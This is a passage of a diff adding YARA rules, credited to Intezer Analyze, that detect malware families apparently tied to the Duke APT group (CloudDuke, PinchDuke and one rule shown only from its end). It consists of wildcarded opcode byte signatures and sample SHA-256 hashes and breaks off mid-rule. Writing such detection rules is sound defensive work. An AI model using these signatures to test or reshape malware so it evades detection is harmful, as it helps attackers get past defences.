+		$block_71 = { 8B ?? ?? ?? 5? FF 7? ?? FF 7? ?? 5? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_72 = { FF 4? ?? 8B ?? ?? 81 C? ?? ?? ?? ?? 3B ?? ?? ?? ?? ?? 0F 8C }
+		$block_73 = { 83 ?? ?? ?? 8B ?? ?? 5? 8B ?? 5? 64 ?? ?? ?? ?? ?? ?? C9 C2 }
+		$block_74 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? 0F AF ?? ?? 2B ?? 3B ?? 7C }
+		$block_75 = { 39 ?? ?? 8D ?? ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 0F 86 }
+		$block_76 = { 8B ?? ?? 8B ?? 5? 8D ?? ?? 5? 6A ?? 5? FF 5? ?? 85 ?? 0F 84 }
+		$block_77 = { 68 ?? ?? ?? ?? FF D? 83 ?? ?? ?? 4? 3B ?? ?? ?? ?? ?? 0F 8C }
+		$block_78 = { 8B ?? ?? 83 ?? ?? 2B ?? 8D ?? ?? ?? 8B ?? 3B ?? ?? 0F 85 }
+		$block_79 = { 68 ?? ?? ?? ?? FF 7? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_80 = { 5? 89 ?? 60 8B ?? ?? 03 ?? ?? 5? 8B ?? ?? 8B ?? 85 ?? 74 }
+		$block_81 = { 33 ?? 4? 85 ?? 01 ?? 4? 4? 37 01 ?? 03 ?? C9 4? 3B ?? 7E }
+		$block_82 = { 0F B6 ?? ?? 99 C1 ?? ?? 83 ?? ?? 11 ?? ?? 38 ?? ?? 5? 74 }
+		$block_83 = { 8B ?? ?? 8B ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_84 = { 0F B6 ?? 8A ?? ?? ?? ?? ?? ?? 30 ?? 4? 3B ?? ?? 0F 8C }
+		$block_85 = { 21 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 5? ?? 6D 02 ?? E3 }
+		$block_86 = { 5? 0A ?? ?? 01 ?? 33 ?? EE 17 04 ?? 89 ?? ?? 04 ?? 70 }
+		$block_87 = { 5? FF 7? ?? ?? 8D ?? ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_88 = { 8B ?? 2B ?? 03 ?? 89 ?? ?? 8B ?? ?? 2B ?? 3B ?? 0F 83 }
+		$block_89 = { 0F B6 ?? ?? 99 C1 ?? ?? 83 ?? ?? 11 ?? ?? 38 ?? ?? 74 }
+		$block_90 = { 8B ?? ?? 8D ?? ?? 89 ?? ?? 89 ?? ?? 83 ?? ?? 0F 82 }
+		$block_91 = { 8B ?? ?? 8B ?? ?? 89 ?? ?? 89 ?? ?? F6 ?? ?? 0F 84 }
+		$block_92 = { 8B ?? ?? 89 ?? ?? 83 ?? ?? F7 ?? ?? ?? ?? ?? 0F 84 }
+		$block_93 = { 83 ?? ?? 8D ?? ?? 83 ?? ?? 81 F? ?? ?? ?? ?? 0F 82 }
+		$block_94 = { 8B ?? ?? 8B ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_95 = { 80 8? ?? ?? ?? ?? ?? F8 2A ?? ?? 8B ?? ?? 85 ?? 74 }
+		$block_96 = { 0F B6 ?? 03 ?? 3B ?? 89 ?? ?? 0F 96 ?? 84 ?? 74 }
+		$block_97 = { A1 ?? ?? ?? ?? FF 4? ?? C1 ?? ?? 39 ?? ?? 0F 8C }
+		$block_98 = { 68 ?? ?? ?? ?? 1E 0E C4 ?? 18 ?? ?? 85 ?? 0F 84 }
+		$block_99 = { 5? D5 ?? 10 ?? 81 F? ?? ?? ?? ?? 08 ?? ?? 1F 01 }
+
+	condition:
+		hash.sha256(0, filesize) == "d5f1d8d2629b91744fe812207cb3f0bebfd1aec9937b7744a263d1a4e3421063" or
+		hash.sha256(0, filesize) == "16870c6b572934f5a106d5f632b6d41bb23924c12ddf172be24c6dfca25226b1" or
+		hash.sha256(0, filesize) == "dad4c4aea24f2bd3e2f4b93bf782ebef70e8fdf930aff25a3e1b85a717314aa0" or
+		hash.sha256(0, filesize) == "aecb468db5cebcfa25deadeb3b12fbc48b05a485b44deb500b4002521bc3e685" or
+		hash.sha256(0, filesize) == "5b50e26a01b320f05d66727e9d220d5858cdac203ff62e4b9ced1cafc2683637" or
+		hash.sha256(0, filesize) == "bd4928921ddadb44f9f573da61dac034533bf14fe38acd5754f3ccec1d566300" or
+		hash.sha256(0, filesize) == "7e371cd323898e403df7a80add34d791e160e443bcd2d02f27ddc0c04ba1bdab" or
+		hash.sha256(0, filesize) == "9c2562e05eb940ae8d73c9baa7cfe85cb3ec619689227f65e4fbeeb3fec598ad" or
+		hash.sha256(0, filesize) == "9ce93f04dbb6a3b833f1146a54dadfdc224fdf24e3cca1f8a1eb4e902d597ff6" or
+		hash.sha256(0, filesize) == "43bcee4067c067d9063ddfc101fc8b5a6e8d42184ef8b0fdd9bb14102cb9973d" or
+		hash.sha256(0, filesize) == "3d37e753812687fb7287cf8644d13fe2673ea7c3b540637c1ce1c6819f1c521b" or
+		hash.sha256(0, filesize) == "29585bb17b28e8b15b2a250be9516f416fa7cac84cc24aa4e004f6987323147e" or
+		hash.sha256(0, filesize) == "05637ef950feaeb0944d9fccca38eeff38e366c24a137ef08c9f1442aeb6afb7" or
+		hash.sha256(0, filesize) == "38c0252f75b1c6b3980e40bb69cb932773a6e0b189fc8a80efc2dcb455209eab" or
+		hash.sha256(0, filesize) == "187b1cc7264c04c3158f835546cad0be74e6411bb50cb8899179a71018f0b4b9" or
+		hash.sha256(0, filesize) == "2146da9bc0e27d7eb10983b7dd89f250fa0015ce284dde8f0bb6a79626d34a2a" or
+		hash.sha256(0, filesize) == "41d63d293a6e2722fcf82f8bf67b8f566bd4d3f669ede146ccc286f0228d8f62" or
+		hash.sha256(0, filesize) == "fe5bc1248fc79fc15663ef169f0a269c1abe847d00b01e9571fe5c0d760d68f0" or
+		hash.sha256(0, filesize) == "1c86bcc74684c2533026a8b4d9463ad4b5a1f30f6915ca19197b41e0cb893b77" or
+		hash.sha256(0, filesize) == "831267e0977becf098b5064aac6fd39b5f8e6fd975c06d4b8540cea71d402317" or
+		hash.sha256(0, filesize) == "008beba8635e24baa50beee2e98654f73c04476a06fdcb893655f0a8201932d2" or
+		hash.sha256(0, filesize) == "2eafc64769c500d635b7225c9b1411db8f50db8618e4d5807e1640b641a2f5ee" or
+		hash.sha256(0, filesize) == "f61cdc7f68f47d23c4571b517ab4cdcfd984cf3f6f8f91dec99dfd7dc5a2dcff" or
+		hash.sha256(0, filesize) == "a8200a476f72ef77f4cd6bd71ebae9f473e923b140600b9da0bbaf1f22e1cecb" or
+		hash.sha256(0, filesize) == "4f9b6a88245f782d81e9eec9315b9444c83d68941f9fc23641e3909c8da9db9d" or
+		hash.sha256(0, filesize) == "73aac0b568f83746c9a54a2a6fdd2984c3e6f8d0c77a681c219abb9480859197" or
+		hash.sha256(0, filesize) == "70a7248b90573ba2edde5d9e8f0acd478235054480d98b0531d85725555f3a5c" or
+		hash.sha256(0, filesize) == "2c480399bff7d05736caa1858fd43d9223df3fd531ae574dc3c9eb06cc3579ef" or
+		hash.sha256(0, filesize) == "ec49400e70c02a884a5df74ca99690886ec2d528e200c42dbdf057fd9b7f87f8" or
+		hash.sha256(0, filesize) == "82670519b8d63d36967c611bc94659e5bff867837129ac93bcffe7589af46384" or
+		hash.sha256(0, filesize) == "92172ff7bfeee332409a145bc626bebf732225d006877168f35c046368e5118c" or
+		hash.sha256(0, filesize) == "75e8567e7667eb02eec661134ecc07a7970d9448fc5b7dc021b5bcb039953a47" or
+		hash.sha256(0, filesize) == "1005b40f977b92cbc01b7a66558ff0621cbaf36f7b4b2ab2ca3c3a267891bc8d" or
+		hash.sha256(0, filesize) == "68355d29ce79a5177084fe6292f0f8b9daa2018c571b552fff9f4a0815b432ce" or
+		hash.sha256(0, filesize) == "c9f5a19c7b11fd866483adc93aa5bc4bd3515bd995ca79297b227e3e5ef1a665" or
+		hash.sha256(0, filesize) == "4bc8280a99d07165055fabed11049d8da275f27f5d8cffc4ed10a68be2d0cb84" or
+		hash.sha256(0, filesize) == "f6c62f9f846b3d100d60b1f2ae57a71c91dd8dc215dce652e2c85dff60c0197f" or
+		hash.sha256(0, filesize) == "2e8aa9dac584a51c7d960baccf76747c858175573f5c013b7c44328f0871da04" or
+		hash.sha256(0, filesize) == "5ef73d904cf5dcbec5919fba0b640168d6feb8f7021507568297e3da1a7e47a5" or
+		hash.sha256(0, filesize) == "04819cde7e928e6ff376daeb73b894959f672a85b363753c227416fc0f4a8acd" or
+		hash.sha256(0, filesize) == "64e3a2bba82027dd6ff631fa5890a7ba8331b62a0a4c0b1ca24d143c2b61c323" or
+		hash.sha256(0, filesize) == "334ed05005ce829224d0dd4cc5baab6b837cf02ac0e321c8f97d11b3ba1c77a7" or
+		hash.sha256(0, filesize) == "0a013787f9c1731213059f2d8e1a7514f610783aaaea8fa5736063ab7793c0d7" or
+		hash.sha256(0, filesize) == "bf012045464ba2aadc1547940eb3ce262d0e023c2198c134dee658c859ecd8ab" or
+		hash.sha256(0, filesize) == "f21794d0b0938643e2aabe9f2ed762528e631a2ebda76020d0b59ce91fb51e41" or
+		hash.sha256(0, filesize) == "a1176b60ca96cfeb37dde61bde935f645a64fabd8e300f072fc355434b711dcf" or
+		hash.sha256(0, filesize) == "246543cc4a538472bed0626c159715a963e39dfc69d79f60c3ab227c62277016" or
+		hash.sha256(0, filesize) == "7c14761d20617ab7f408d6c63367f16026377d7c13f3e3c67525e034fc0c6d7c" or
+		hash.sha256(0, filesize) == "182ab7eb1dce2827a05aff0d83a13dd8346bd3b8ab2dfb681817a0d3aab05b15" or
+		hash.sha256(0, filesize) == "30b24935c8537c51ce56a69510019d8481ac78e6c5ccdbe792c625c69c5358f9" or
+		hash.sha256(0, filesize) == "6322e8bbb5a7cc542a7da0fb33a60fc7443bcbd8601b828c9c7f138c71cce090" or
+		hash.sha256(0, filesize) == "3e889cd495e008760fd12751d6d45cadf8a7280c4545f2ebe469f84b9b77c835" or
+		hash.sha256(0, filesize) == "910a016a7b6e0a76bc7ddf12f9135090e0b23d00c382d70084b46bea4bbbcae7" or
+		hash.sha256(0, filesize) == "1590bdbaff2c178387e924b689b030057b4cbd2865e9c4dd3886a8791ac8e4ee" or
+		hash.sha256(0, filesize) == "7c2bb277e3a982e9e2f76da2c96119514dde4f3e36b16eca5994be5f28bd0029" or
+		hash.sha256(0, filesize) == "0314ed09890d5aa2dba659fe1343be93d48c3875a89e261484967fea7ea6c7eb" or
+		hash.sha256(0, filesize) == "cae1277446cb62f1ed3674e7ea87063a28b9d364e3638fa779fe8e3d6e1fb15f" or
+		hash.sha256(0, filesize) == "027c9da59c77e83b42535a0c965c4994a144715e796453fc2a5b189f0036c4b4" or
+		hash.sha256(0, filesize) == "3c5d2fcacafc21d9f43c595ddf03bec801ccb958b8641018612c21bc741800d0" or
+		hash.sha256(0, filesize) == "51b4e69183f3d02124f3314cc64a7869425f053d8021c74c12f21d7c2afe2163" or
+		12 of them
+}
+
+rule CloudDuke {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 5? 8B ?? ?? 5? 83 ?? ?? ?? 5? 0F 84 }
+		$block_1 = { 6A ?? 68 ?? ?? ?? ?? 5? 5? C7 ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_2 = { 8B ?? ?? ?? ?? ?? 4? 83 ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 0F 85 }
+		$block_3 = { 8B ?? ?? 03 ?? 33 ?? 0F B7 ?? ?? 83 ?? ?? 03 ?? 0F B7 ?? ?? 5? 89 ?? ?? 85 ?? 74 }
+		$block_4 = { 6A ?? 68 ?? ?? ?? ?? 5? 5? C7 ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_5 = { FF 7? ?? FF 7? ?? 5? E8 ?? ?? ?? ?? 0F B7 ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 75 }
+		$block_6 = { 8B ?? ?? ?? 2B ?? ?? ?? 33 ?? 4? 03 ?? ?? ?? 99 13 ?? ?? ?? 3B ?? 0F 82 }
+		$block_7 = { 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 85 ?? 0F 45 ?? ?? ?? ?? ?? 89 }
+		$block_8 = { 6A ?? 68 ?? ?? ?? ?? FF 7? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_9 = { 0F B7 ?? ?? C1 ?? ?? 83 ?? ?? B9 ?? ?? ?? ?? 89 ?? ?? 66 ?? ?? ?? 74 }
+		$block_10 = { 5? 8B ?? 83 ?? ?? 5? 5? 8B ?? 8B ?? 89 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_11 = { 8D ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? 85 ?? 0F 84 }
+		$block_12 = { 0F B7 ?? ?? C1 ?? ?? 83 ?? ?? 89 ?? ?? 83 ?? ?? ?? ?? ?? ?? 74 }
+		$block_13 = { C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_14 = { 8B ?? 33 ?? 89 ?? 4? 83 ?? ?? 83 ?? ?? 3B ?? ?? 0F 8C }
+		$block_15 = { 8B ?? ?? 03 ?? 89 ?? ?? 81 3? ?? ?? ?? ?? 0F 85 }
+
+	condition:
+		hash.sha256(0, filesize) == "d4d79be85dc98f74088d6393a8fdf2b5d947ae4f279909af2aed0221dcecfe94" or
+		hash.sha256(0, filesize) == "d3d503934c0dfe75e386d0fb8da2e32238d93739624b6c5a929fe5b722b35d36" or
+		hash.sha256(0, filesize) == "6c8eb3365b7fb7683b9b465817e5cb87574026e306c700f3d103eba056777720" or
+		hash.sha256(0, filesize) == "ecd0ce1973500c27bb5d70f326d115fba84c0b1680a726a041ed57b42063e7b1" or
+		hash.sha256(0, filesize) == "0f7d64f514e99a2abdc10dc85e7e6f57c210a0f35472f7b897a19b73be36bece" or
+		hash.sha256(0, filesize) == "12f58639a883b0fcfe3d2e8bcb0330b978731975c9dfa2f8e583adbafc4d534e" or
+		hash.sha256(0, filesize) == "c1ee4232d1b6504fc7f93cb0478e90049a71992498ed2d701925d852e91cfcc3" or
+		hash.sha256(0, filesize) == "97d8725e39d263ed21856477ed09738755134b5c0d0b9ae86ebb1cdd4cdc18b7" or
+		hash.sha256(0, filesize) == "88a40d5b679bccf9641009514b3d18b09e68b609ffaf414574a6eca6536e8b8f" or
+		hash.sha256(0, filesize) == "c3ea57eea9f522cfc70ef8c3b614f7e44903293a2e8354359b99efbf4cd436df" or
+		hash.sha256(0, filesize) == "85c5ba695992ed59269ea7f7a58f3453f6047729d1f68a444d450439bbccc1f4" or
+		hash.sha256(0, filesize) == "6c7e768e48b9b225b7b9f84528c53c2e6f9b639ce2e7919fe0dff9aad07ea4f5" or
+		hash.sha256(0, filesize) == "ee5eb9d57c3611e91a27bb1fc2d0aaa6bbfa6c69ab16e65e7123c7c49d46f145" or
+		hash.sha256(0, filesize) == "bfc1bafd9b01178037226fa55546d7ed7e9203c13e1b66419e887fee704d5196" or
+		hash.sha256(0, filesize) == "ed7abf93963395ce9c9cba83a864acb4ed5b6e57fd9a6153f0248b8ccc4fdb46" or
+		hash.sha256(0, filesize) == "a713982d04d2048a575912a5fc37c93091619becd5b21e96f049890435940004" or
+		hash.sha256(0, filesize) == "1d4ac97d43fab1d464017abb5d57a6b4601f99eaa93b01443427ef25ae5127f7" or
+		hash.sha256(0, filesize) == "e1490d6e5ce4c2cddef0815c55bf8946cb830ce0ac7f586cf1ae16ef66f1bd8b" or
+		hash.sha256(0, filesize) == "56ac764b81eb216ebed5a5ad38e703805ba3e1ca7d63501ba60a1fb52c7ebb6e" or
+		12 of them
+}
+
+rule PinchDuke {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { FF 7? ?? 8B ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? ?? FF 4? ?? 8A ?? ?? ?? ?? ?? 4? 83 ?? ?? 88 ?? 7C }
+		$block_1 = { 5? 5? FF 1? ?? ?? ?? ?? 5? 8B ?? 5? 5? 6A ?? 5? FF 7? ?? FF 1? ?? ?? ?? ?? 3B ?? 89 ?? ?? 0F 84 }
+		$block_2 = { 5? 8B ?? ?? ?? ?? ?? 5? FF D? 5? 5? 8D ?? ?? ?? ?? ?? 5? FF 7? ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_3 = { 5? 5? 5? 5? 8D ?? ?? 5? FF 7? ?? 89 ?? ?? FF 7? ?? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_4 = { 5? 8D ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 8B ?? C1 ?? ?? 25 ?? ?? ?? ?? 8A ?? ?? ?? ?? ?? 88 ?? ?? 79 }
+		$block_5 = { 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 64 ?? ?? ?? ?? ?? 5? 5? C9 C3 }
+		$block_6 = { 8A ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 0F B6 ?? 5? 8B ?? ?? 0F B6 ?? 8D ?? ?? 33 ?? 85 ?? 89 ?? ?? 7E }
+		$block_7 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 0F AF ?? ?? C1 ?? ?? 0F AF ?? ?? C1 ?? ?? 01 ?? ?? EB }
+		$block_8 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? FF 7? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 3B ?? 89 ?? ?? 0F 85 }
+		$block_9 = { 8B ?? 2B ?? ?? 33 ?? F7 ?? 8B ?? D1 ?? 0F AF ?? 03 ?? ?? 5? FF 7? ?? FF 5? ?? 85 ?? 5? 5? 7E }
+		$block_10 = { FF 7? ?? 8B ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? ?? FF 4? ?? 8A ?? ?? ?? ?? ?? 4? 3B ?? 88 ?? 7C }
+		$block_11 = { 8D ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 5? 5? 68 ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_12 = { FF 4? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? FF 7? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_13 = { 8B ?? ?? 6A ?? 03 ?? FF 1? ?? ?? ?? ?? 83 ?? ?? ?? 6A ?? 5? 39 ?? ?? 89 ?? ?? 89 ?? ?? 0F 82 }
+		$block_14 = { 0F B6 ?? ?? ?? 8B ?? ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 4? 83 ?? ?? 7C }
+		$block_15 = { FF 4? ?? 8D ?? ?? 5? 5? 5? 5? 8D ?? ?? ?? ?? ?? 5? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_16 = { FF 7? ?? 8D ?? ?? E8 ?? ?? ?? ?? 0F BE ?? 01 ?? ?? 8B ?? ?? 2B ?? ?? FF 4? ?? 39 ?? ?? 7C }
+		$block_17 = { 0F B6 ?? ?? ?? 8B ?? ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 4? 3B ?? 7C }
+		$block_18 = { 8D ?? ?? 5? 68 ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_19 = { 0F B6 ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 4? 3B ?? 7C }
+		$block_20 = { 5? 8B ?? 83 ?? ?? 8B ?? ?? 83 ?? ?? ?? 83 ?? ?? ?? 8A ?? ?? 5? 8A ?? ?? 5? 8B ?? 0F 8E }
+		$block_21 = { 8B ?? ?? 8D ?? ?? 8B ?? ?? 0F B6 ?? 0F B6 ?? ?? 0F B6 ?? 03 ?? 03 ?? 25 ?? ?? ?? ?? 79 }
+		$block_22 = { 0F B6 ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 99 F7 ?? ?? FF 4? ?? 81 7? ?? ?? ?? ?? ?? 7C }
+		$block_23 = { 0F B6 ?? ?? 8B ?? ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 4? 3B ?? 7C }
+		$block_24 = { 8B ?? 2B ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 8B ?? 2B ?? B8 ?? ?? ?? ?? 3B ?? 0F 87 }
+		$block_25 = { 8D ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 4? 3B ?? ?? 7C }
+		$block_26 = { 8D ?? ?? 5? 8B ?? ?? 68 ?? ?? ?? ?? FF 7? ?? ?? 89 ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_27 = { 8B ?? ?? 8B ?? ?? 0F B6 ?? ?? 5? 8B ?? E8 ?? ?? ?? ?? FF 4? ?? 8B ?? ?? 3B ?? ?? 7C }
+		$block_28 = { 5? 5? 5? 8D ?? ?? ?? ?? ?? 5? FF 7? ?? FF 7? ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_29 = { 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 99 2B ?? D1 ?? 6A ?? 89 ?? ?? 8B ?? ?? 5? 3B ?? 7E }
+		$block_30 = { 5? 5? 5? 5? 5? 5? 5? 8D ?? ?? 5? 5? 5? 5? FF 7? ?? FF 1? ?? ?? ?? ?? 39 ?? ?? 0F 84 }
+		$block_31 = { 8D ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 85 ?? 5? 5? 0F 84 }
+		$block_32 = { 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 0F 84 }
+		$block_33 = { FF 7? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 5? 5? C9 C3 }
+		$block_34 = { 8B ?? ?? 8D ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? FF 4? ?? 83 ?? ?? ?? 83 ?? ?? ?? 0F 8F }
+		$block_35 = { 8D ?? ?? 5? FF 7? ?? 5? 5? 68 ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_36 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? C1 ?? ?? 03 ?? 8D ?? ?? E8 ?? ?? ?? ?? 5? 5? 5? C9 C3 }
+		$block_37 = { 8D ?? ?? 5? 6A ?? 5? 8D ?? ?? ?? ?? ?? 5? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_38 = { 8D ?? ?? ?? 0F B6 ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4? 83 ?? ?? 5? 5? 88 ?? 7C }
+		$block_39 = { 5? 8B ?? 8B ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 4? 0F AF ?? 03 ?? 85 ?? 89 ?? ?? 75 }
+		$block_40 = { 5? 33 ?? 4? 5? 8D ?? ?? ?? ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 3B ?? 0F 85 }
+		$block_41 = { 6A ?? 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_42 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_43 = { 99 BB ?? ?? ?? ?? F7 ?? 8B ?? ?? 80 C? ?? 30 ?? ?? ?? 4? 3B ?? ?? 89 ?? ?? 7C }
+		$block_44 = { E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 75 }
+		$block_45 = { 8D ?? ?? ?? ?? ?? 5? 5? 5? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_46 = { 5? 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_47 = { 5? 8D ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 5? 8B ?? E8 ?? ?? ?? ?? 4? 83 ?? ?? 7C }
+		$block_48 = { 5? 8D ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 5? 8B ?? E8 ?? ?? ?? ?? 4? 3B ?? ?? 7C }
+		$block_49 = { 99 B9 ?? ?? ?? ?? F7 ?? 8B ?? ?? 80 C? ?? 30 ?? ?? ?? 4? 3B ?? 89 ?? ?? 7C }
+		$block_50 = { 8B ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 5? 8D ?? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_51 = { E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? FF 1? ?? ?? ?? ?? 33 ?? 5? 5? 5? C9 C3 }
+		$block_52 = { 5? 8B ?? 81 E? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 8F }
+		$block_53 = { 5? 8D ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 5? 5? 8D ?? ?? E8 ?? ?? ?? ?? 4? 79 }
+		$block_54 = { 8B ?? ?? 6B ?? ?? 8D ?? ?? ?? 4? 89 ?? ?? 0F B6 ?? 8D ?? ?? 83 ?? ?? 72 }
+		$block_55 = { FF 7? ?? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 5? 5? 5? 5? 5? C9 C3 }
+		$block_56 = { 8D ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_57 = { 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 4? E8 ?? ?? ?? ?? 3B ?? 0F 8C }
+		$block_58 = { 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? C6 ?? ?? ?? 33 ?? 8D ?? ?? AB AB AA 83 }
+		$block_59 = { 0F B6 ?? 8B ?? ?? E8 ?? ?? ?? ?? 4? 8A ?? 33 ?? 4? 84 ?? 89 ?? ?? 75 }
+		$block_60 = { 5? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 85 ?? 0F 8E }
+		$block_61 = { 33 ?? 83 ?? ?? 0F 94 ?? 89 ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? 4? EB }
+		$block_62 = { 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 5? 5? 0F 84 }
+		$block_63 = { 8B ?? ?? 8D ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? FF 4? ?? 0F 85 }
+		$block_64 = { 0F B6 ?? ?? 8B ?? ?? 83 ?? ?? ?? D3 ?? 09 ?? ?? 4? 83 ?? ?? ?? 7C }
+		$block_65 = { 8B ?? ?? 8D ?? ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 5? 5? 5? C9 C3 }
+		$block_66 = { FF 4? ?? E8 ?? ?? ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 39 ?? ?? 0F 8F }
+		$block_67 = { 33 ?? F7 ?? 8B ?? D1 ?? 0F AF ?? 03 ?? FF 5? ?? 85 ?? 5? 5? 7E }
+		$block_68 = { 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 5? 5? 5? C9 C2 }
+		$block_69 = { 5? 8D ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_70 = { 8B ?? ?? 0F B6 ?? ?? 8D ?? ?? ?? ?? ?? ?? FF 0? 4? 3B ?? 72 }
+		$block_71 = { 8D ?? ?? ?? ?? ?? 5? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_72 = { 83 ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 ?? 5? 5? 0F 85 }
+		$block_73 = { FF 1? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? 3B ?? ?? 0F 85 }
